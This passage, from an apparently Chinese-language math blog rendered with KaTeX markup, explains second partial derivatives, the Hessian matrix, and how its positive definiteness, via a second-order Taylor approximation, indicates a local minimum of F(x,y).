nulldelimiter"></span></span></span></span></span>。</p></li><li><p>先对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 求偏导数，再对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex"> y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 求偏导数，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>x</mi><mi mathvariant="normal">∂</mi><mi>y</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex"> \frac{\partial^2 F}{\partial x \partial y} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.499em;vertical-align:-0.4811em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0179em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight">x</span><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">F</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。</p></li><li><p>先对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex"> y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 求偏导数，再对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 求偏导数，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><mi>y</mi><mi mathvariant="normal">∂</mi><mi>x</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex"> \frac{\partial^2 F}{\partial y \partial x} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.499em;vertical-align:-0.4811em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0179em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal mtight">x</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">F</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。</p></li><li><p>对 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex"> y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> 求两次偏导数，得到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mrow><msup><mi mathvariant="normal">∂</mi><mn>2</mn></msup><mi>F</mi></mrow><mrow><mi mathvariant="normal">∂</mi><msup><mi>y</mi><mn>2</mn></msup></mrow></mfrac></mrow><annotation encoding="application/x-tex"> \frac{\partial^2 F}{\partial y^2} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.499em;vertical-align:-0.4811em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.0179em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.786em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mtight" style="margin-right:0.05556em;">∂</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-2.931em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mord mathnormal mtight" style="margin-right:0.13889em;">F</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。</p></li></ol><p>Hessian 矩阵指的是多元函数在各个方向上的二阶偏导数组成的矩阵。</p><p>更高阶的多元函数同理，共同构成 k 阶张量。</p><p>当 Hessian 矩阵正定时，说明在任意方向上都“向上弯”，函数在该点处有极小值。</p><p><img src="/images/linear-algebra/fxy_min.png" alt="fxy_min" /></p><p>如何判断弯曲程度，可以用泰勒近似：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>F</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>≈</mo><mi>F</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>0</mn></msub><mo stretchy="false">)</mo><mo>+</mo><mi mathvariant="normal">∇</mi><mi>F</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>0</mn></msub><msup><mo stretchy="false">)</mo><mi>T</mi></msup><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>x</mi><mo>−</mo><msub><mi>x</mi><mn>0</mn></msub></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>y</mi><mo>−</mo><msub><mi>y</mi><mn>0</mn></msub></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo>+</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>x</mi><mo>−</mo><msub><mi>x</mi><mn>0</mn></msub></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>y</mi><mo>−</mo><msub><mi>y</mi><mn>0</mn></msub></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mi>H</mi><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>x</mi><mo>−</mo><msub><mi>x</mi><mn>0</mn></msub></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>y</mi><mo>−</mo><msub><mi>y</mi><mn>0</mn></msub></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">F(x,y) \approx F(x_0,y_0) + \nabla F(x_0,y_0)^T \begin{bmatrix} x - x_0 \\ y - y_0 \end{bmatrix} + \frac{1}{2} \begin{bmatrix} x - x_0 &amp; y - y_0 \end{bmatrix} H \begin{bmatrix} x - x_0 \\ y - y_0 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord">∇</span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8913em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.13889em;">T</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p><p>因为在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>0</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> (x_0, y_0) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> 处，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>F</mi><mo stretchy="false">(</mo><msub><mi>x</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>y</mi><mn>0</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> F(x_0,y_0) = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">F</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>，梯度为 0，所以取决于 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>x</mi><mo>−</mo><msub><mi>x</mi><mn>0</mn></msub></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>y</mi><mo>−</mo><msub><mi>y</mi><mn>0</mn></msub></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mi>H</mi><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>x</mi><mo>−</mo><msub><mi>x</mi><mn>0</mn></msub></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mi>y</mi><mo>−</mo><msub><mi>y</mi><mn>0</mn></msub></mrow></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> \begin{bmatrix} x - x_0 &amp; y - y_0 \end{bmatrix} H \begin{bmatrix} x - x_0 \\ y - y_0 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" 